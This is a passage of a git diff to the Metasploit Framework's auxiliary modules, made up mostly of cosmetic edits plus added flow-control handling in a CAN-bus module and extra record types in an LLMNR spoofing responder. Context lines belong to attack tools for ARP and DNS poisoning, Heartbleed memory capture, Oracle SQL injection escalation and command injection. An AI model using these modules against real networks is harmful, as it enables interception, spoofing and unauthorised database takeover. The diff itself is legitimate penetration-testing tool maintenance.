-        candump(bus, dstid, timeout, maxpkts)
-        system("cansend #{bus} #{srcid}##{bytes}")
-        @packets_sent += 1
-        @last_sent = Time.now.to_i
-        result["Success"] = true if $?.success?
-        result["Packets"] = []
-        $candump_sniffer.join
-        unless @pkt_response.empty?
-          result = @pkt_response
+        if flowcontrol
+          candump(bus, dstid, timeout, 1)
+          system("cansend #{bus} #{srcid}##{bytes}")
+          @packets_sent += 1
+          @last_sent = Time.now.to_i
+          result["Success"] = true if $?.success?
+          result["Packets"] = []
+          $candump_sniffer.join
+          unless @pkt_response.empty?
+            result = @pkt_response
+            if result.key?("Packets") && result["Packets"].size > 0 && result["Packets"][0].key?("DATA")
+              if result["Packets"][0]["DATA"][0] == "10"
+                system("cansend #{bus} #{srcid}#3000000000000000")
+                candump(bus, dstid, timeout, maxpkts)
+                @packets_sent += 1
+                @last_sent = Time.now.to_i
+                $candump_sniffer.join
+                unless @pkt_response.empty?
+                  if @pkt_response.key?("Packets") && @pkt_response["Packets"].size > 0
+                    result["Packets"] += @pkt_response["Packets"]
+                  end
+                end
+              end
+            end
+          end
+
+        else
+          candump(bus, dstid, timeout, maxpkts)
+          system("cansend #{bus} #{srcid}##{bytes}")
+          @packets_sent += 1
+          @last_sent = Time.now.to_i
+          result["Success"] = true if $?.success?
+          result["Packets"] = []
+          $candump_sniffer.join
+          unless @pkt_response.empty?
+            result = @pkt_response
+          end
         end
       end
     end
@@ -253,11 +295,12 @@ class MetasploitModule < Msf::Auxiliary
       elsif request.uri =~ /automotive\/(\w+)\/isotpsend_and_wait\?srcid=(\w+)&dstid=(\w+)&data=(\w+)/
         bus = $1; srcid = $2; dstid = $3; data = $4
         print_status("Request to send ISO-TP packet and wait for response  #{srcid}##{data} => #{dstid}") if datastore['VERBOSE']
-        timeout = 1500
-        maxpkts = 3
-        timeout = $1 if request.uri =~ /&timeout=(\d+)/
-        maxpkts = $1 if request.uri =~ /&maxpkts=(\d+)/
-        send_response_html(cli, isotp_send_and_wait(bus, srcid, dstid, data, timeout, maxpkts).to_json(),  { 'Content-Type' => 'application/json' })
+        opt = {}
+        opt['TIMEOUT'] = $1 if request.uri =~ /&timeout=(\d+)/
+        opt['MAXPKTS'] = $1 if request.uri =~ /&maxpkts=(\d+)/
+        opt['PADDING'] = $1 if request.uri =~ /&padding=(\d+)/
+        opt['FC'] = true if request.uri =~ /&fc=true/i
+        send_response_html(cli, isotp_send_and_wait(bus, srcid, dstid, data, opt).to_json(),  { 'Content-Type' => 'application/json' })
       else
         send_response_html(cli, not_supported().to_json(), { 'Content-Type' => 'application/json' })
       end
@@ -271,5 +314,4 @@ class MetasploitModule < Msf::Auxiliary
     @server_started = Time.now
     exploit
   end
-
 end
diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb
index 15701abc98..9affaaf3e7 100644
--- a/modules/auxiliary/server/ms15_134_mcl_leak.rb
+++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'cgi'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
@@ -169,5 +168,4 @@ for (var i=0; i < files.length; i++) {
     vprint_status("File collected: #{file[:fname]}\n\n#{Rex::Text.to_hex_dump(file[:data])}")
 
   end
-
 end
diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb
index db9dd8c51d..9c045d3adb 100644
--- a/modules/auxiliary/server/netbios_spoof_nat.rb
+++ b/modules/auxiliary/server/netbios_spoof_nat.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
 
   def initialize
@@ -153,5 +152,4 @@ class MetasploitModule < Msf::Auxiliary
   def run
     loop { netbios_service }
   end
-
 end
diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
index 16251a0802..f349633ffc 100644
--- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
+++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
   def initialize
@@ -223,5 +222,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
index f4f61dcb1a..1ea7ef8f8c 100644
--- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
+++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
@@ -30,10 +29,11 @@ class MetasploitModule < Msf::Auxiliary
       'DefaultAction'  => 'Capture',
       'References'     =>
         [
-          ['CVE', '2014-0160'],
-          ['US-CERT-VU', '720951'],
-          ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
-          ['URL', 'http://heartbleed.com/']
+          [ 'AKA', 'Heartbleed' ],
+          [ 'CVE', '2014-0160' ],
+          [ 'US-CERT-VU', '720951' ],
+          [ 'URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A' ],
+          [ 'URL', 'http://heartbleed.com/' ]
         ],
       'DisclosureDate' => 'Apr 07 2014'
     )
@@ -221,7 +221,7 @@ class MetasploitModule < Msf::Auxiliary
 
     buff = decrypt_data(c, data[5, data.length-5])
     unless buff
-      print_status("#{@state[c][:name]} Failed to decrypt, giving up on this client")
+      print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client")
       c.close
       return
     end
@@ -264,11 +264,11 @@ class MetasploitModule < Msf::Auxiliary
           nil,
           "OpenSSL Heartbleed client memory"
         )
-        print_status("#{@state[c][:name]} Heartbeat data stored in #{path}")
+        print_good("#{@state[c][:name]} Heartbeat data stored in #{path}")
       rescue ::Interrupt
         raise $!
       rescue ::Exception
-        print_status("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
+        print_error("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
       end
 
       # Report the memory disclosure as a vulnerability on the host
@@ -410,7 +410,7 @@ class MetasploitModule < Msf::Auxiliary
         return buff[0, buff.length-20]
       end
     rescue ::OpenSSL::Cipher::CipherError => e
-      print_status("#{@state[c][:name]} Decryption failed: #{e}")
+      print_error("#{@state[c][:name]} Decryption failed: #{e}")
     end
 
     nil
diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb
index aaf2640675..72bf80645c 100644
--- a/modules/auxiliary/server/pxeexploit.rb
+++ b/modules/auxiliary/server/pxeexploit.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/proto/tftp'
 require 'rex/proto/dhcp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TFTPServer
   include Msf::Auxiliary::Report
 
@@ -80,5 +79,4 @@ class MetasploitModule < Msf::Auxiliary
     @dhcp.thread.join
 
   end
-
 end
diff --git a/modules/auxiliary/server/regsvr32_command_delivery_server.rb b/modules/auxiliary/server/regsvr32_command_delivery_server.rb
index f49190415b..175ec0ee7e 100644
--- a/modules/auxiliary/server/regsvr32_command_delivery_server.rb
+++ b/modules/auxiliary/server/regsvr32_command_delivery_server.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer
 
   def initialize(info = {})
diff --git a/modules/auxiliary/server/socks4a.rb b/modules/auxiliary/server/socks4a.rb
index a2e5f34550..beed547d5e 100644
--- a/modules/auxiliary/server/socks4a.rb
+++ b/modules/auxiliary/server/socks4a.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'thread'
 require 'rex/proto/proxy/socks4a'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
   def initialize
@@ -66,5 +65,4 @@ class MetasploitModule < Msf::Auxiliary
 
     @socks4a.join
   end
-
 end
diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb
index 3ab1324021..847656934a 100644
--- a/modules/auxiliary/server/socks_unc.rb
+++ b/modules/auxiliary/server/socks_unc.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb
index bfc774fe3e..0a9a2a379a 100644
--- a/modules/auxiliary/server/tftp.rb
+++ b/modules/auxiliary/server/tftp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/proto/tftp'
 require 'tmpdir'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TFTPServer
   include Msf::Auxiliary::Report
 
@@ -76,5 +75,4 @@ class MetasploitModule < Msf::Auxiliary
     vprint_status("Stopping TFTP server")
     @tftp.stop
   end
-
 end
diff --git a/modules/auxiliary/server/tnftp_savefile.rb b/modules/auxiliary/server/tnftp_savefile.rb
index a9a4df1505..bcce71a02b 100644
--- a/modules/auxiliary/server/tnftp_savefile.rb
+++ b/modules/auxiliary/server/tnftp_savefile.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer
   include Msf::Auxiliary::Report
 
@@ -82,5 +81,4 @@ class MetasploitModule < Msf::Auxiliary
   def sploit
     "|#{datastore['CMD']}"
   end
-
 end
diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb
index 715b9aa7bb..a35189ebda 100644
--- a/modules/auxiliary/server/webkit_xslt_dropper.rb
+++ b/modules/auxiliary/server/webkit_xslt_dropper.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -84,5 +83,4 @@ EOS
   def run
     exploit()
   end
-
 end
diff --git a/modules/auxiliary/server/wget_symlink_file_write.rb b/modules/auxiliary/server/wget_symlink_file_write.rb
index 75b6faee6b..a8bfd3c65f 100644
--- a/modules/auxiliary/server/wget_symlink_file_write.rb
+++ b/modules/auxiliary/server/wget_symlink_file_write.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::FtpServer
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb
index a2d3696627..caee486f7c 100644
--- a/modules/auxiliary/server/wpad.rb
+++ b/modules/auxiliary/server/wpad.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -84,6 +83,5 @@ EOS
       end
     end
   end
-
 end
 
diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb
index 934fa5a2dc..b96e7df5db 100644
--- a/modules/auxiliary/sniffer/psnuffle.rb
+++ b/modules/auxiliary/sniffer/psnuffle.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,6 @@
 
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Capture
 
@@ -194,5 +193,4 @@ class BaseProtocolParser
     return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.udp_sport,pkt.ip_daddr,pkt.udp_dport] if pkt.is_udp?
     return "%s:%d-%s:%d" % [pkt.ip_saddr,0,pkt.ip_daddr,0]
   end
-
 end
diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb
index 08d50f7f8a..d79ce44402 100644
--- a/modules/auxiliary/spoof/arp/arp_poisoning.rb
+++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
   include Msf::Auxiliary::Report
 
@@ -180,7 +179,7 @@ class MetasploitModule < Msf::Auxiliary
         next if not reply.is_arp?
         # Without this check any arp request would be added to the cache
         if @dhosts.include? reply.arp_saddr_ip
-          print_status("#{reply.arp_saddr_ip} appears to be up.")
+          print_good("#{reply.arp_saddr_ip} appears to be up.")
           report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
           @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
         end
@@ -193,7 +192,7 @@ class MetasploitModule < Msf::Auxiliary
       while(reply = getreply())
         next if not reply.is_arp?
         if @dhosts.include? reply.arp_saddr_ip
-          print_status("#{reply.arp_saddr_ip} appears to be up.")
+          print_good("#{reply.arp_saddr_ip} appears to be up.")
           report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
           @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
         end
@@ -204,7 +203,7 @@ class MetasploitModule < Msf::Auxiliary
 
     # Build the local src hosts cache
     if datastore['BIDIRECTIONAL']
-      print_status("Building the source hosts cache for unknow source hosts...")
+      print_status("Building the source hosts cache for unknown source hosts...")
       @shosts.each do |shost|
         if @dsthosts_cache.has_key? shost
           vprint_status("Adding #{shost} from destination cache")
@@ -217,7 +216,7 @@ class MetasploitModule < Msf::Auxiliary
         while(reply = getreply())
           next if not reply.is_arp?
           if @shosts.include? reply.arp_saddr_ip
-            print_status("#{reply.arp_saddr_ip} appears to be up.")
+            print_good("#{reply.arp_saddr_ip} appears to be up.")
             report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
             @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
           end
@@ -230,7 +229,7 @@ class MetasploitModule < Msf::Auxiliary
         while(reply = getreply())
           next if not reply.is_arp?
           if @shosts.include? reply.arp_saddr_ip
-            print_status("#{reply.arp_saddr_ip} appears to be up.")
+            print_good("#{reply.arp_saddr_ip} appears to be up.")
             report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
             @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
           end
@@ -411,5 +410,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     @listener.abort_on_exception = true
   end
-
 end
diff --git a/modules/auxiliary/spoof/cisco/cdp.rb b/modules/auxiliary/spoof/cisco/cdp.rb
index 53a5bb4e13..8f720805e8 100644
--- a/modules/auxiliary/spoof/cisco/cdp.rb
+++ b/modules/auxiliary/spoof/cisco/cdp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb
index 1e1a553b0c..ac95a3c8a7 100644
--- a/modules/auxiliary/spoof/cisco/dtp.rb
+++ b/modules/auxiliary/spoof/cisco/dtp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
 
   def initialize(info = {})
@@ -81,5 +80,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
index a05287e13d..7b32eb3c69 100644
--- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
+++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'net/dns'
 require 'resolv'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
 
   def initialize(info = {})
@@ -369,7 +368,7 @@ class MetasploitModule < Msf::Auxiliary
             answer = Resolv::DNS::Message.decode(answer)
             answer.each_answer do |name, ttl, data|
               if((name.to_s + ".") == domain and data.name.to_s == newdns)
-                print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
+                print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
                 srv_sock.close
                 close_pcap
                 return
@@ -477,5 +476,4 @@ class MetasploitModule < Msf::Auxiliary
     # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
     avg_count
   end
-
 end
diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb
index 58e6603d73..76b7d7c368 100644
--- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb
+++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb
@@ -1,15 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'net/dns'
 require 'resolv'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
 
   def initialize(info = {})
@@ -370,7 +367,7 @@ class MetasploitModule < Msf::Auxiliary
             answer = Resolv::DNS::Message.decode(answer)
             answer.each_answer do |name, ttl, data|
               if((name.to_s + ".") == hostname)
-                print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
+                print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
                 print_status("TTL: #{ttl} DATA: #{data}")
                 close_pcap
                 return
@@ -476,5 +473,4 @@ class MetasploitModule < Msf::Auxiliary
     # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
     avg_count
   end
-
 end
diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb
index 8a9316fd2b..9374bf196a 100644
--- a/modules/auxiliary/spoof/dns/compare_results.rb
+++ b/modules/auxiliary/spoof/dns/compare_results.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
         This module can be used to determine differences
       in the cache entries between two DNS servers. This is
       primarily useful for detecting cache poisoning attacks,
-      but can also be used to detect geo-location loadbalancing.
+      but can also be used to detect geo-location load balancing.
       },
       'Author'         => [ 'hdm' ],
       'License'        => MSF_LICENSE,
@@ -172,5 +172,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb
index d402a900ee..85ac471581 100644
--- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb
+++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,8 +97,27 @@ attr_accessor :sock, :thread
           :type => ::Net::DNS::AAAA,
           :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
         )
+      when ::Net::DNS::ANY
+        # For ANY queries, respond with both an A record as well as an AAAA.
+        dns_pkt.answer << ::Net::DNS::RR::A.new(
+          :name => name,
+          :ttl => datastore['TTL'],
+          :cls => ::Net::DNS::IN,
+          :type => ::Net::DNS::A,
+          :address => spoof.to_s
+        )
+        dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
+          :name => name,
+          :ttl => datastore['TTL'],
+          :cls => ::Net::DNS::IN,
+          :type => ::Net::DNS::AAAA,
+          :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
+        )
+      when ::Net::DNS::PTR
+        # Sometimes PTR queries are received. We will silently ignore them.
+        next
       else
-        print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping")
+        print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping")
         next
       end
     end
diff --git a/modules/auxiliary/spoof/mdns/mdns_response.rb b/modules/auxiliary/spoof/mdns/mdns_response.rb
index 9aae8b5207..11ec0d8abd 100644
--- a/modules/auxiliary/spoof/mdns/mdns_response.rb
+++ b/modules/auxiliary/spoof/mdns/mdns_response.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb
index 88bd5b6205..a9f2542ffd 100644
--- a/modules/auxiliary/spoof/nbns/nbns_response.rb
+++ b/modules/auxiliary/spoof/nbns/nbns_response.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
 
   attr_accessor :sock, :thread
@@ -176,5 +175,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     close_pcap
   end
-
 end
diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb
index 9444f25ddd..3ed64fb50e 100644
--- a/modules/auxiliary/spoof/replay/pcap_replay.rb
+++ b/modules/auxiliary/spoof/replay/pcap_replay.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
 
   def initialize
@@ -52,5 +51,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     close_pcap
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb
index c32ca82719..3919e3b375 100644
--- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -68,5 +67,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("Done! Removing function '#{name}'...")
     prepare_exec(clean)
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb
index e40146bf64..926c604cf9 100644
--- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -69,5 +68,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("Done! Removing function '#{name}'...")
     prepare_exec(clean)
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb
index 1cd0146ae6..e4b5435473 100644
--- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -77,5 +76,4 @@ END;
     print_status("Done...")
 
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb
index e8069a1baa..194d5c597c 100644
--- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -88,5 +87,4 @@ END;
     print_status("Done...")
 
   end
-
 end
diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb
index e4de27d405..8fc8199c4f 100644
--- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION',
       'Description'    => %q{
-        This module will escalate a Oracle DB user to DBA by exploiting an sql injection
+        This module will escalate an Oracle DB user to DBA by exploiting a sql injection
         bug in the SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package/function.
         This vulnerability affects to Oracle Database Server 9i up to 9.2.0.5 and
         10g up to 10.1.0.4.
diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb
index 3f2225819a..ffee9bcb8e 100644
--- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb
+++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
     super(update_info(info,
